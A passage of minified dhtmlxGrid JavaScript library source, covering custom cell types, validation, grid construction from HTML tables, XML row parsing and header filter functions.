c=this._fillers[e];c[1]=c[1]+a;c[0]=c[0]+g;if(!c[1]){this.callEvent(\"onRemoveFiller\",[c[2]]);c[2].parentNode.removeChild(c[2]);this._fillers.splice(e,1)}else{c[2].firstChild.style.height=parseFloat(c[2].firstChild.style.height)+a*this._srdh+\"px\";this.callEvent(\"onUpdateFiller\",[c[2]])}};dhtmlXGridObject.prototype._insert_before=function(c,e,a){a.parentNode.insertBefore(e,a);this.rowsCol[c]=e;this.callEvent(\"onRowInserted\",[e,null,a,\"before\"])};dhtmlXGridObject.prototype._insert_after=function(c,e,a){if(a.nextSibling){a.parentNode.insertBefore(e,a.nextSibling)}else{a.parentNode.appendChild(e)}this.rowsCol[c]=e;this.callEvent(\"onRowInserted\",[e,null,a,\"after\"])};if(typeof(window.dhtmlxValidation)!=\"undefined\"){dhtmlxValidation.trackInput=function(e,g,c,a){dhtmlxEvent(e,\"keyup\",function(h){if(dhtmlxValidation._timer){window.clearTimeout(dhtmlxValidation._timer);dhtmlxValidation._timer=null}dhtmlxValidation._timer=window.setTimeout(function(){if(!dhtmlxValidation.checkInput(e,g)){if(!c||c(e,e.value,g)){e.className+=\" dhtmlx_live_validation_error\"}}else{e.className=e.className.replace(/[ ]*dhtmlx_live_validation_error/g,\"\");if(a){a(e,e.value,g)}}},250)})};dhtmlxValidation.checkInput=function(a,c){return dhtmlxValidation.checkValue(a.value,c)};dhtmlxValidation.checkValue=function(e,g){if(typeof g==\"string\"){g=g.split(\",\")}var a=true;for(var c=0;c<g.length;c++){if(!this[\"is\"+g[c]]){alert(\"Incorrect validation rule: \"+g[c])}else{a=a&&this[\"is\"+g[c]](e)}}return a}}dhtmlXGridObject.prototype.enableValidation=function(c,a){c=dhx4.s2b(c);if(c){this._validators={data:[]}}else{this._validators=false}if(arguments.length>1){this._validators._live=a}if(!this._validators._event){this._validators._event=this.attachEvent(\"onEditCell\",this.validationEvent)}};dhtmlXGridObject.prototype.setColValidators=function(a){if(!this._validators){this.enableValidation(true)}if(typeof a==\"string\"){a=a.split(this.delim)}this._validators.data=a};dhtmlXGridObject.prototype.validationEvent=function(l,c,g,e,n){var o=this._validators;if(!o){return true}var m=(o.data[g]||this.cells(c,g).getAttribute(\"validate\"))||\"\";if(l==1&&m){var h=this.editor||(this._fake||{}).editor;if(!h){return true}h.cell.className=h.cell.className.replace(/[ ]*dhtmlx_validation_error/g,\"\");if(o._live){var a=this;dhtmlxValidation.trackInput(h.getInput(),m,function(q,r,s){return a.callEvent(\"onLiveValidationError\",[c,g,r,q,s])},function(q,r,s){return a.callEvent(\"onLiveValidationCorrect\",[c,g,r,q,s])})}}if(l==2){this.validateCell(c,g,m,e)}return true};dhtmlXGridObject.prototype.validateCell=function(m,h,l,g){l=l||(this._validators.data[h]||this.cells(m,h).getAttribute(\"validate\"));g=g||this.cells(m,h).getValue();if(!l){return}var c=this.cells(m,h).cell;var a=true;if(typeof l==\"string\"){l=l.split(this.delim)}for(var e=0;e<l.length;e++){if(!dhtmlxValidation.checkValue(g,l[e])){if(this.callEvent(\"onValidationError\",[m,h,g,l[e]])){c.className+=\" dhtmlx_validation_error\"}a=false}}if(a){this.callEvent(\"onValidationCorrect\",[m,h,g,l]);c.className=c.className.replace(/[ ]*dhtmlx_validation_error/g,\"\")}return a};function eXcell_stree(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_trees){return}this._sub=this.grid._sub_trees[a._cellIndex];if(!this._sub){return}this._sub=this._sub[0]}this.getValue=function(){return this.cell._val};this.setValue=function(c){this.cell._val=c;c=this._sub.getItemText(this.cell._val);this.setCValue((c||\"&nbsp;\"),c)};this.edit=function(){this._sub.parentObject.style.display=\"block\";var e=this.grid.getPosition(this.cell);this._sub.parentObject.style.top=e[1]+\"px\";this._sub.parentObject.style.left=e[0]+\"px\";this._sub.parentObject.style.position=\"absolute\";var c=this.grid.editStop;this.grid.editStop=function(){};this.grid.editStop=c};this.detach=function(){this._sub.parentObject.style.display=\"none\";if(this.grid._sub_id!=null){var c=this.cell._val;this.setValue(this._sub.getSelectedItemId());this.grid._sub_id=null;return this.cell._val!=c}}}eXcell_stree.prototype=new eXcell;dhtmlXGridObject.prototype.setSubTree=function(a,c){if(!this._sub_trees){this._sub_trees=[]}this._sub_trees[c]=[a];a.parentObject.style.display=\"none\";var e=this;a.parentObject.onclick=function(g){(g||window.event).cancelBubble=true;return false};a.ev_onDblClick=null;a.attachEvent(\"onDblClick\",function(g){e._sub_id=g;e.editStop();return true});a._chRRS=true};function eXcell_link(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.isDisabled=function(){return true};this.edit=function(){};this.getValue=function(){if(this.cell.firstChild.getAttribute){var c=this.cell.firstChild.getAttribute(\"target\");return this.cell.firstChild.innerHTML+\"^\"+this.cell.firstChild.getAttribute(\"href\")+(c?(\"^\"+c):\"\")}else{return\"\"}};this.setValue=function(e){if((typeof(e)!=\"number\")&&(!e||e.toString()._dhx_trim()==\"\")){this.setCValue(\"&nbsp;\",c);return(this.cell._clearCell=true)}var c=e.split(\"^\");if(c.length==1){c[1]=\"\"}else{if(c.length>1){c[1]=\"href='\"+c[1]+\"'\";if(c.length==3){c[1]+=\" target='\"+c[2]+\"'\"}else{c[1]+=\" target='_blank'\"}}}this.setCValue(\"<a \"+c[1]+\" onclick='(_isIE?event:arguments[0]).cancelBubble = true;'>\"+c[0]+\"</a>\",c)}}eXcell_link.prototype=new eXcell;eXcell_link.prototype.getTitle=function(){var a=this.cell.firstChild;return((a&&a.tagName)?a.getAttribute(\"href\"):\"\")};eXcell_link.prototype.getContent=function(){var a=this.cell.firstChild;return((a&&a.tagName)?a.innerHTML:\"\")};function eXcell_grid(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_grids){return}this._sub=this.grid._sub_grids[a._cellIndex];if(!this._sub){return}this._sindex=this._sub[1];this._sub=this._sub[0]}this.getValue=function(){return this.cell.val};this.setValue=function(c){this.cell.val=c;if(this._sub.getRowById(c)){c=this._sub.cells(c,this._sindex);if(c){c=c.getValue()}else{c=\"\"}}this.setCValue((c||\"&nbsp;\"),c)};this.edit=function(){this.val=this.cell.val;this._sub.entBox.style.display=\"block\";var e=this.grid.getPosition(this.cell);this._sub.entBox.style.top=e[1]+\"px\";this._sub.entBox.style.left=e[0]+\"px\";this._sub.entBox.style.position=\"absolute\";this._sub.setSizes();var c=this.grid.editStop;this.grid.editStop=function(){};if(this._sub.getRowById(this.cell.val)){this._sub.setSelectedRow(this.cell.val)}this._sub.setActive(true);this.grid.editStop=c};this.detach=function(){var c=this.cell.val;this._sub.entBox.style.display=\"none\";if(this._sub.getSelectedId()===null){return false}this.setValue(this._sub.getSelectedId());this.grid.setActive(true);return this.cell.val!=c}}eXcell_grid.prototype=new eXcell;dhtmlXGridObject.prototype.setSubGrid=function(c,a,g){if(!this._sub_grids){this._sub_grids=[]}this._sub_grids[a]=[c,g];c.entBox.style.display=\"none\";var e=this;c.entBox.onclick=function(h){(h||window.event).cancelBubble=true;return false};c.attachEvent(\"onRowSelect\",function(h){e.editStop();return true});c._chRRS=false};function eXcell_dhxCalendar(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._grid_calendarA){var e=this.grid._grid_calendarA=new dhtmlxCalendarObject();this.grid.callEvent(\"onDhxCalendarCreated\",[e]);var c=this.grid;e.attachEvent(\"onClick\",function(){this._last_operation_calendar=true;window.setTimeout(function(){c.editStop()},1);return true});var g=function(h){(h||event).cancelBubble=true};dhtmlxEvent(e.base,\"click\",g);e=null}}}eXcell_dhxCalendar.prototype=new eXcell;eXcell_dhxCalendar.prototype.edit=function(){var c=this.grid.getPosition(this.cell);this.grid._grid_calendarA._show(false,false);this.grid._grid_calendarA.setPosition(c[0],c[1]+this.cell.offsetHeight);this.grid._grid_calendarA._last_operation_calendar=false;this.grid.callEvent(\"onCalendarShow\",[this.grid._grid_calendarA,this.cell.parentNode.idd,this.cell._cellIndex]);this.cell._cediton=true;this.val=this.cell.val;this._val=this.cell.innerHTML;var a=this.grid._grid_calendarA.draw;this.grid._grid_calendarA.draw=function(){};this.grid._grid_calendarA.setDateFormat((this.grid._dtmask||\"%d/%m/%Y\"));this.grid._grid_calendarA.setDate(this.val||(new Date()));this.grid._grid_calendarA.draw=a};eXcell_dhxCalendar.prototype.getDate=function(){if(this.cell.val){return this.cell.val}return null};eXcell_dhxCalendar.prototype.getValue=function(){if(this.cell._clearCell){return\"\"}if(this.grid._dtmask_inc&&this.cell.val){return this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask_inc,this.cell.val).toString()}return this.cell.innerHTML.toString()._dhx_trim()};eXcell_dhxCalendar.prototype.detach=function(){if(!this.grid._grid_calendarA){return}this.grid._grid_calendarA.hide();if(this.cell._cediton){this.cell._cediton=false}else{return}if(this.grid._grid_calendarA._last_operation_calendar){var e=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"));var c=this.grid._grid_calendarA.getDate();this.cell.val=new Date(c);this.setCValue(e,c);this.cell._clearCell=!e;var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=a)}return false};eXcell_dhxCalendar.prototype.setValue=function(a){if(a&&typeof a==\"object\"){this.cell.val=a;this.cell._clearCell=false;this.setCValue(this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),a).toString(),this.cell.val);return}if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp\";this.cell._clearCell=true;this.cell.val=\"\"}else{this.cell._clearCell=false;this.cell.val=new Date(this.grid._grid_calendarA.setFormatedDate((this.grid._dtmask_inc||this.grid._dtmask||\"%d/%m/%Y\"),a.toString(),null,true));if(this.grid._dtmask_inc){a=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),this.cell.val)}}if((this.cell.val==\"NaN\")||(this.cell.val==\"Invalid Date\")){this.cell._clearCell=true;this.cell.val=new Date();this.setCValue(\"&nbsp;\",0)}else{this.setCValue((a||\"\").toString(),this.cell.val)}};function eXcell_dhxCalendarA(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._grid_calendarA){var e=this.grid._grid_calendarA=new dhtmlxCalendarObject();this.grid.callEvent(\"onDhxCalendarCreated\",[e]);var c=this.grid;e.attachEvent(\"onClick\",function(){this._last_operation_calendar=true;window.setTimeout(function(){c.editStop()},1);return true});var g=function(h){(h||event).cancelBubble=true};dhtmlxEvent(e.base,\"click\",g)}}}eXcell_dhxCalendarA.prototype=new eXcell;eXcell_dhxCalendarA.prototype.edit=function(){var c=this.grid.getPosition(this.cell);this.grid._grid_calendarA._show(false,false);this.grid._grid_calendarA.setPosition(c[0]*1+this.cell.offsetWidth,c[1]*1);this.grid.callEvent(\"onCalendarShow\",[this.grid._grid_calendarA,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid._grid_calendarA._last_operation_calendar=false;this.cell._cediton=true;this.val=this.cell.val;this._val=this.cell.innerHTML;var a=this.grid._grid_calendarA.draw;this.grid._grid_calendarA.draw=function(){};this.grid._grid_calendarA.setDateFormat((this.grid._dtmask||\"%d/%m/%Y\"));this.grid._grid_calendarA.setDate(this.val);this.grid._grid_calendarA.draw=a;this.cell.atag=((!this.grid.multiLine)&&(_isKHTML||_isMacOS||_isFF))?\"INPUT\":\"TEXTAREA\";this.obj=document.createElement(this.cell.atag);this.obj.style.height=(this.cell.offsetHeight-4)+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.align;this.obj.onclick=function(g){(g||event).cancelBubble=true};this.obj.onmousedown=function(g){(g||event).cancelBubble=true};this.obj.value=this.getValue();this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);if(window.dhx4.isIE){this.obj.style.overflow=\"visible\";if((this.grid.multiLine)&&(this.obj.offsetHeight>=18)&&(this.obj.offsetHeight<40)){this.obj.style.height=\"36px\";this.obj.style.overflow=\"scroll\"}}this.obj.onselectstart=function(g){if(!g){g=event}g.cancelBubble=true;return true};this.obj.focus();this.obj.focus()};eXcell_dhxCalendarA.prototype.getDate=function(){if(this.cell.val){return this.cell.val}return null};eXcell_dhxCalendarA.prototype.getValue=function(){if(this.cell._clearCell){return\"\"}if(this.grid._dtmask_inc&&this.cell.val){return this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask_inc,this.cell.val).toString()}return this.cell.innerHTML.toString()._dhx_trim()};eXcell_dhxCalendarA.prototype.detach=function(){if(!this.grid._grid_calendarA){return}this.grid._grid_calendarA.hide();if(this.cell._cediton){this.cell._cediton=false}else{return}if(this.grid._grid_calendarA._last_operation_calendar){this.grid._grid_calendarA._last_operation_calendar=false;var e=this.grid._grid_calendarA.getFormatedDate(this.grid._dtmask||\"%d/%m/%Y\");var c=this.grid._grid_calendarA.getDate();this.cell.val=new Date(c);this.setCValue(e,c);this.cell._clearCell=!e;var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=(a|\"\").valueOf())}this.setValue(this.obj.value);var a=this.val;this.val=this._val;return(this.cell.val.valueOf()!=(a||\"\").valueOf())};eXcell_dhxCalendarA.prototype.setValue=function(a){if(a&&typeof a==\"object\"){this.cell.val=a;this.cell._clearCell=false;this.setCValue(this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),a).toString(),this.cell.val);return}if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp\";this.cell._clearCell=true;this.cell.val=\"\"}else{this.cell._clearCell=false;this.cell.val=new Date(this.grid._grid_calendarA.setFormatedDate((this.grid._dtmask_inc||this.grid._dtmask||\"%d/%m/%Y\"),a.toString(),null,true));if(this.grid._dtmask_inc){a=this.grid._grid_calendarA.getFormatedDate((this.grid._dtmask||\"%d/%m/%Y\"),this.cell.val)}}if((this.cell.val==\"NaN\")||(this.cell.val==\"Invalid Date\")){this.cell.val=new Date();this.cell._clearCell=true;this.setCValue(\"&nbsp;\",0)}else{this.setCValue((a||\"\").toString(),this.cell.val)}};function eXcell_cntr(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._ex_cntr_ready&&!this._realfake){this.grid._ex_cntr_ready=true;if(this.grid._h2){this.grid.attachEvent(\"onOpenEn\",function(e){this.resetCounter(a._cellIndex)})}var c=function(){var e=this;window.setTimeout(function(){if(!e.resetCounter){return}if(e._fake&&!e._realfake&&a._cellIndex<e._fake._cCount){e._fake.resetCounter(a._cellIndex)}else{e.resetCounter(a._cellIndex)}},1);return true};this.grid.attachEvent(\"onBeforeSorting\",c);this.grid.attachEvent(\"onFilterEnd\",c)}this.edit=function(){};this.getValue=function(){return this.cell.innerHTML};this.setValue=function(g){this.cell.style.paddingRight=\"2px\";var e=this.cell;window.setTimeout(function(){if(!e.parentNode){return}var h=e.parentNode.rowIndex;if(e.parentNode.grid.currentPage||h<0||e.parentNode.grid._srnd){h=e.parentNode.grid.rowsBuffer._dhx_find(e.parentNode)+1}if(h<=0){return}e.innerHTML=h;if(e.parentNode.grid._fake&&e._cellIndex<e.parentNode.grid._fake._cCount&&e.parentNode.grid._fake.rowsAr[e.parentNode.idd]){e.parentNode.grid._fake.cells(e.parentNode.idd,e._cellIndex).setCValue(h)}e=null},100)}}dhtmlXGridObject.prototype.resetCounter=function(c){if(this._fake&&!this._realfake&&c<this._fake._cCount){this._fake.resetCounter(c,this.currentPage)}var a=arguments[0]||0;if(this.currentPage){a=(this.currentPage-1)*this.rowsBufferOutSize}for(a=0;a<this.rowsBuffer.length;a++){if(this.rowsBuffer[a]&&this.rowsBuffer[a].tagName==\"TR\"&&this.rowsAr[this.rowsBuffer[a].idd]){this.rowsAr[this.rowsBuffer[a].idd].childNodes[c].innerHTML=a+1}}};eXcell_cntr.prototype=new eXcell;function eXcell_acheck(a){try{this.cell=a;this.grid=this.cell.parentNode.grid;this.cell.obj=this}catch(c){}this.changeState=function(){if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])!=false){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"<checkbox state='false'>\")}else{this.setValue(\"<checkbox state='true'>\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.getValue=function(){try{return this.cell.chstate.toString()}catch(e){return null}};this.isCheckbox=function(){return true};this.isChecked=function(){if(this.getValue()==\"1\"){return true}else{return false}};this.setChecked=function(e){this.setValue(e.toString())};this.detach=function(){return this.val!=this.getValue()};this.drawCurrentState=function(){if(this.cell.chstate==1){return\"<div  onclick='(new eXcell_acheck(this.parentNode)).changeState(); (arguments[0]||event).cancelBubble=true;'  style='cursor:pointer; font-weight:bold; text-align:center; '><span style='height:8px; width:8px; background:green; display:inline-block;'></span>&nbsp;Yes</div>\"}else{return\"<div  onclick='(new eXcell_acheck(this.parentNode)).changeState(); (arguments[0]||event).cancelBubble=true;' style='cursor:pointer;  text-align:center; '><span style='height:8px; width:8px; background:red; display:inline-block;'></span>&nbsp;No</div>\"}}}eXcell_acheck.prototype=new eXcell;eXcell_acheck.prototype.setValue=function(c){c=(c||\"\").toString();if(c.indexOf(\"1\")!=-1||c.indexOf(\"true\")!=-1){c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}var a=this;this.setCValue(this.drawCurrentState(),this.cell.chstate)};function eXcell_context(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;if(!this.grid._sub_context){return}this._sub=this.grid._sub_context[a._cellIndex];if(!this._sub){return}this._sindex=this._sub[1];this._sub=this._sub[0]}this.getValue=function(){return _isIE?this.cell.innerText:this.cell.textContent};this.setValue=function(e){this.cell._val=e;var c=this._sub.itemPull[this._sub.idPrefix+this.cell._val];e=c?c.title:e;this.setCValue((e||\"&nbsp;\"),e)};this.edit=function(){var e=this.grid.getPosition(this.cell);this._sub.showContextMenu(e[0]+this.cell.offsetWidth,e[1]);var c=this.grid.editStop;this.grid.editStop=function(){};this.grid.editStop=c};this.detach=function(){if(this.grid._sub_id!=null){var c=this.cell._val;this.setValue(this.grid._sub_id);this.grid._sub_id=null;return this.cell._val!=c}this._sub.hideContextMenu()}}eXcell_context.prototype=new eXcell;dhtmlXGridObject.prototype.setSubContext=function(a,c,g){var e=this;a.attachEvent(\"onClick\",function(l,h){e._sub_id=l;e.editStop();a.hideContextMenu();return true});if(!this._sub_context){this._sub_context=[]}this._sub_context[c]=[a,g];a.hideContextMenu()};function dhtmlXGridFromTable(obj,init){if(typeof(obj)!=\"object\"){obj=document.getElementById(obj)}var w=document.createElement(\"DIV\");w.setAttribute(\"width\",obj.getAttribute(\"gridWidth\")||(obj.offsetWidth?(obj.offsetWidth+\"px\"):0)||(window.getComputedStyle?window.getComputedStyle(obj,null)[\"width\"]:(obj.currentStyle?obj.currentStyle.width:0)));w.setAttribute(\"height\",obj.getAttribute(\"gridHeight\")||(obj.offsetHeight?(obj.offsetHeight+\"px\"):0)||(window.getComputedStyle?window.getComputedStyle(obj,null)[\"height\"]:(obj.currentStyle?obj.currentStyle.height:0)));w.className=obj.className;obj.className=\"\";if(obj.id){w.id=obj.id}var mr=obj;var drag=obj.getAttribute(\"dragAndDrop\");mr.parentNode.insertBefore(w,mr);var f=mr.getAttribute(\"name\")||(\"name_\"+(new Date()).valueOf());var windowf=new dhtmlXGridObject(w);window[f]=windowf;var acs=mr.getAttribute(\"onbeforeinit\");var acs2=mr.getAttribute(\"oninit\");if(acs){eval(acs)}windowf.setImagePath(windowf.imgURL||(mr.getAttribute(\"imgpath\")||mr.getAttribute(\"image_path\")||\"\"));var skin=mr.getAttribute(\"skin\");if(skin){windowf.setSkin(skin)}if(init){init(windowf)}var hrow=mr.rows[0];var za=\"\";var zb=\"\";var zc=\"\";var zd=\"\";var ze=\"\";for(var i=0;i<hrow.cells.length;i++){za+=(za?\",\":\"\")+hrow.cells[i].innerHTML;var width=hrow.cells[i].getAttribute(\"width\")||hrow.cells[i].offsetWidth||(window.getComputedStyle?window.getComputedStyle(hrow.cells[i],null)[\"width\"]:(hrow.cells[i].currentStyle?hrow.cells[i].currentStyle.width:0));zb+=(zb?\",\":\"\")+(width==\"*\"?width:parseInt(width));zc+=(zc?\",\":\"\")+(hrow.cells[i].getAttribute(\"align\")||\"left\");zd+=(zd?\",\":\"\")+(hrow.cells[i].getAttribute(\"type\")||\"ed\");ze+=(ze?\",\":\"\")+(hrow.cells[i].getAttribute(\"sort\")||\"str\");var f_a=hrow.cells[i].getAttribute(\"format\");if(f_a){if(hrow.cells[i].getAttribute(\"type\").toLowerCase().indexOf(\"calendar\")!=-1){windowf._dtmask=f_a}else{windowf.setNumberFormat(f_a,i)}}}windowf.setHeader(za);windowf.setInitWidths(zb);windowf.setColAlign(zc);windowf.setColTypes(zd);windowf.setColSorting(ze);if(obj.getAttribute(\"gridHeight\")==\"auto\"){windowf.enableAutoHeigth(true)}if(obj.getAttribute(\"multiline\")){windowf.enableMultiline(true)}var lmn=mr.getAttribute(\"lightnavigation\");if(lmn){windowf.enableLightMouseNavigation(lmn)}var evr=mr.getAttribute(\"evenrow\");var uevr=mr.getAttribute(\"unevenrow\");if(evr||uevr){windowf.enableAlterCss(evr,uevr)}if(drag){windowf.enableDragAndDrop(true)}windowf.init();if(obj.getAttribute(\"split\")){windowf.splitAt(obj.getAttribute(\"split\"))}windowf._process_inner_html(mr,1);if(acs2){eval(acs2)}if(obj.parentNode&&obj.parentNode.removeChild){obj.parentNode.removeChild(obj)}return windowf}dhtmlXGridObject.prototype._process_html=function(c){if(c.tagName&&c.tagName==\"TABLE\"){return this._process_inner_html(c,0)}var a=document.createElement(\"DIV\");a.innerHTML=c.xmlDoc.responseText;var e=a.getElementsByTagName(\"TABLE\")[0];this._process_inner_html(e,0)};dhtmlXGridObject.prototype._process_inner_html=function(e,h){var c=e.rows.length;for(var a=h;a<c;a++){var g=e.rows[a].getAttribute(\"id\")||a;this.rowsBuffer.push({idd:g,data:e.rows[a],_parser:this._process_html_row,_locator:this._get_html_data})}this.render_dataset();this.setSizes()};dhtmlXGridObject.prototype._process_html_row=function(n,h){var m=h.getElementsByTagName(\"TD\");var c=[];n._attrs=this._xml_attrs(h);for(var g=0;g<m.length;g++){var l=m[g];var a=l.getAttribute(\"type\");if(n.childNodes[g]){if(a){n.childNodes[g]._cellType=a}n.childNodes[g]._attrs=this._xml_attrs(m[g])}if(l.firstChild){c.push(l.innerHTML)}else{c.push(\"\")}if(l.colSpan>1){n.childNodes[g]._attrs.colspan=l.colSpan;for(var e=1;e<l.colSpan;e++){c.push(\"\")}}}for(g<m.length;g<n.childNodes.length;g++){n.childNodes[g]._attrs={}}this._fillRow(n,(this._c_order?this._swapColumns(c):c));return n};dhtmlXGridObject.prototype._get_html_data=function(c,a){c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==\"TD\"){a--}if(a<0){break}c=c.nextSibling}return(c.firstChild?c.firstChild.data:\"\")};dhtmlxEvent(window,\"load\",function(){var e=document.getElementsByTagName(\"table\");for(var c=0;c<e.length;c++){if(e[c].className==\"dhtmlxGrid\"){dhtmlXGridFromTable(e[c])}}});dhtmlXGridObject.prototype._process_xmlA=function(a){this._parsing=true;var l=dhx4.ajax.xmltop(this.xml.top,a);this._parseHead(l);var h=dhx4.ajax.xpath(this.xml.row,l);var g=parseInt(l.getAttribute(\"pos\")||0);var e=parseInt(l.getAttribute(\"total_count\")||0);if(e&&!this.rowsBuffer[e-1]){this.rowsBuffer[e-1]=null}if(this.isTreeGrid()){this._get_xml_data=this._get_xml_dataA;this._process_xml_row=this._process_xml_rowA;return this._process_tree_xml(a)}for(var c=0;c<h.length;c++){if(this.rowsBuffer[c+g]){continue}var m=h[c].getAttribute(\"id\")||this.uid();this.rowsBuffer[c+g]={idd:m,data:h[c],_parser:this._process_xml_rowA,_locator:this._get_xml_dataA};this.rowsAr[m]=h[c]}this.render_dataset();this._parsing=false};dhtmlXGridObject.prototype._process_xmlB=function(a){this._parsing=true;var l=dhx4.ajax.xmltop(this.xml.top,a);this._parseHead(l);var h=dhx4.ajax.xpath(this.xml.row,l);var g=parseInt(l.getAttribute(\"pos\")||0);var e=parseInt(l.getAttribute(\"total_count\")||0);if(e&&!this.rowsBuffer[e-1]){this.rowsBuffer[e-1]=null}if(this.isTreeGrid()){this._get_xml_data=this._get_xml_dataB;this._process_xml_row=this._process_xml_rowB;return this._process_tree_xml(a)}for(var c=0;c<h.length;c++){if(this.rowsBuffer[c+g]){continue}var m=h[c].getAttribute(\"id\")||this.uid();this.rowsBuffer[c+g]={idd:m,data:h[c],_parser:this._process_xml_rowB,_locator:this._get_xml_dataB};this.rowsAr[m]=h[c]}this.render_dataset();this._parsing=false};dhtmlXGridObject.prototype._process_xml_rowA=function(h,e){var a=[];h._attrs=this._xml_attrs(e);for(var c=0;c<this.columnIds.length;c++){var l=this.columnIds[c];var g=h._attrs[l]||\"\";if(h.childNodes[c]){h.childNodes[c]._attrs={}}a.push(g)}this._fillRow(h,(this._c_order?this._swapColumns(a):a));return h};dhtmlXGridObject.prototype._get_xml_dataA=function(c,a){return c.getAttribute(this.getColumnId(a))};dhtmlXGridObject.prototype._process_xml_rowB=function(a,h){var n=[];a._attrs=this._xml_attrs(h);if(this._ud_enabled){var o=dhx4.ajax.xpath(\"./userdata\",h);for(var e=o.length-1;e>=0;e--){this.setUserData(o[e].getAttribute(\"name\"),o[e].firstChild?o[e].firstChild.data:\"\")}}for(var m=0;m<h.childNodes.length;m++){var g=h.childNodes[m];if(!g.tagName){continue}var c=this.getColIndexById(g.tagName);if(isNaN(c)){continue}var l=g.getAttribute(\"type\");if(l){a.childNodes[c]._cellType=l}a.childNodes[c]._attrs=this._xml_attrs(g);if(g.getAttribute(\"xmlcontent\")){}else{if(g.firstChild){g=g.firstChild.data}else{g=\"\"}}n[c]=g}for(var e=0;e<a.childNodes.length;e++){if(!a.childNodes[e]._attrs){a.childNodes[e]._attrs={}}}this._fillRow(a,n);return a};dhtmlXGridObject.prototype._get_xml_dataB=function(c,a){var e=this.getColumnId(a);c=c.firstChild;while(true){if(!c){return\"\"}if(c.tagName==e){return(c.firstChild?c.firstChild.data:\"\")}c=c.nextSibling}return\"\"};dhtmlXGridObject.prototype.startFastOperations=function(){this._disF=[\"setSizes\",\"callEvent\",\"_fixAlterCss\",\"cells4\",\"forEachRow\",\"_correctMonolite\"];this._disA=[];for(var a=this._disF.length-1;a>=0;a--){this._disA[a]=this[this._disF[a]];this[this._disF[a]]=function(){return true}}this._cellCache=[];this.cells4=function(e){var g=this._cellCache[e._cellIndex];if(!g){g=this._cellCache[e._cellIndex]=this._disA[3].apply(this,[e]);g.destructor=function(){return true};g.setCValue=function(c){g.cell.innerHTML=c}}g.cell=e;g.combo=e._combo||this.combos[e._cellIndex];return g}};dhtmlXGridObject.prototype.stopFastOperations=function(){if(!this._disF){return}for(var a=this._disF.length-1;a>=0;a--){this[this._disF[a]]=this._disA[a]}if(this._correctMonolite){this._correctMonolite()}this.setSizes();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._in_header_number_filter=function(e,c){this._in_header_text_filter.call(this,e,c);var a=this;e.firstChild._filter=function(){var g=a._get_filters(this.value,\"num\");return function(m){var h=g.length>0?false:true;for(var l=0;l<g.length;l++){h=h||g[l](m)}return h}}};dhtmlXGridObject.prototype._in_header_string_filter=function(e,c){this._in_header_text_filter.call(this,e,c);var a=this;e.firstChild._filter=function(){var g=a._get_filters(this.value,\"str\");return function(m){var h=g.length>0?false:true;for(var l=0;l<g.length;l++){h=h||g[l](m)}return h}}};dhtmlXGridObject.prototype._get_filters=function(l,e){var a=l.split(\",\");var g=[];for(var c=0;c<a.length;c++){if(a[c]==\"\"){continue}var h=this[\"_get_\"+e+\"_filter\"](a[c]);g.push(h)}return g};dhtmlXGridObject.prototype._get_str_filter=function(c){if(c==\"null\"||c==\"empty\"){return new Function(\"value\",'if (value == null || value == \"\") return true; return false;')}if(c==\"!null\"||c==\"!empty\"){return new Function(\"value\",'if (value == null || value == \"\") return false; return true;')}if(c.substr(0,1)===\"!\"){var a=c.substr(1);return new Function(\"value\",'if (value !== \"'+a+'\") return true; return false;')}if(c.substr(0,1)===\"~\"){var a=c.substr(1);return new Function(\"value\",'if (value.indexOf(\"'+a+'\") !== -1) return true; return false;')}if(c.substr(0,1)===\"^\"&&c.substr(c.length-1,1)===\"&\"){c=\"=\"+c.substr(1,c.length-2)}if(c.substr(0,1)===\"^\"){var a=c.substr(1);return new Function(\"value\",\"if (value.substr(0, \"+a.length+') === \"'+a+'\") return true; return false;')}if(c.substr(c.length-1,1)===\"&\"){var a=c.substr(0,c.length-1);return new Function(\"value\",\"if (value.substr(value.length - \"+a.length+') === \"'+a+'\") return true; return false;')}if(c.substr(0,1)===\"=\"){var a=c.substr(1)}else{var a=c}return new Function(\"value\",'if (value === \"'+a+'\") return true; return false;')};dhtmlXGridObject.prototype._get_num_filter=function(h){if(h==\"null\"||h==\"empty\"){return new Function(\"value\",'if (value == null || value == \"\") return true; return false;')}if(h==\"!null\"||h==\"!empty\"){return new Function(\"value\",'if (value == null || value == \"\") return false; return true;')}var a=h.split(\"..\");if(a.length==2){var l=parseFloat(a[0]);var g=parseFloat(a[1]);return new Function(\"value\",\"if (value >= \"+l+\" && value <= \"+g+\") return true; return false;\")}var 